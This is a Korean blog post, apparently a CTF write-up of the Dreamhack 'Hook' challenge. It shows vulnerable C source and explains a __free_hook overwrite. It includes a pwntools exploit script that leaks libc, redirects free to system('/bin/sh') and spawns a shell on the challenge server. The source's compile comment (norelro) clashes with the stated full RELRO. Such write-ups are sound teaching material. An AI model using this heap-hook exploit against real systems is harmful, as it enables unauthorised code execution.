[Dreamhack] Hook

Peroro·2022년 7월 6일
0

해당 문제는 __free_hook의 값을 덮는 Hook Overwrite문제이다.
해당 문제의 방어기법은 아래와 같다.

우선 FULL_RELRO이기 때문에 ROPgadget을 이용한 문제 풀이는 어려워보인다.
그리고 canary가 존재하고, nx가 존재한다. 하지만 PIE 기법은 적용되지 않았다.

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

해당 바이너리를 disassemble한 것.

해당 코드는 아래와 같이 실행이 된다.

첫번째로 buf의 사이즈를 입력하고 해당 사이즈를 malloc으로 동적할당을 하게된다. 그 사이즈에 해당하는 크기만큼 또 입력을 받게 된다.
하지만, free함수가 두번 실행하게 되어 segment fault로 오류가 나게된다. 동적할당한 공간을 두번이나 해제했기 때문이다. 나는 여기서 __free_hook의 값을 덮어 system("/bin/sh")함수로 넘어가게 만들고 싶었다. (물론 구글링을 해본 결과 one_gadget을 이용해도 괜찮다.)

*(long *)*ptr = *(ptr+1)

해당 코드에 대해서 설명을 해보겠다. malloc으로 ptr의 값(동적할당으로 주어진 공간의 주소값)이 있다. read함수를 통해 ptr에 접근을 할 수 있는데 ptr의 값을 __free_hook의 함수의 주소값을 넣자. 그렇게 되면 (long )ptr은 free_hook을 가리키게 된다. 이때 ptr+1은 ptr에서 8바이트만큼 떨어져있다. 마찬가지로 ptr+1이 가리키는 값은 system("/bin/sh")로 바꾸면된다. 그렇게 된다면 free가 실행되게 되면 free_hook이 실행이 될건데, __free_hook의 값은 main 함수의 system("/bin/sh")를 가리키게 되어 셸을 획득할 수 있는 것이다.

따라서 우리는 *ptr에 값을 __free_hook + system("/bin/sh")의 주소값(0x400a11)을 넣으면 된다. PIE가 적용되지 않아 main의 주소값을 넣었다. system("/bin/sh")의 자리에 one_gadget을 넣으면 된다.

  • Exploit code
from pwn import *

def slog(name, addr):
    return success(":".join([name, hex(addr)]))

p = remote("host3.dreamhack.games", 8532)
#p = process("./hook")
e = ELF("./hook")

libc = ELF("./libc.so.6")

main = e.symbols['main']

p.recvuntil(b"stdout: ")
stdout = int(p.recv(14), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
hook = libc_base + libc.symbols['__free_hook']
binsh = 0x0400a11

payload = p64(hook) + p64(binsh)

slog("stdout", stdout)
slog("libc_base", libc_base)
slog("free hook", hook)

p.sendlineafter("Data: ", payload)

p.interactive()

해당 문제를 보며 알아낸점.

  • 이 문제에서는 canary값을 알아낼 필요가 없다.
  • stdout의 ELF symbols은 'stdout'이 아니라 IO_2_1_stdout'이다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/

0개의 댓글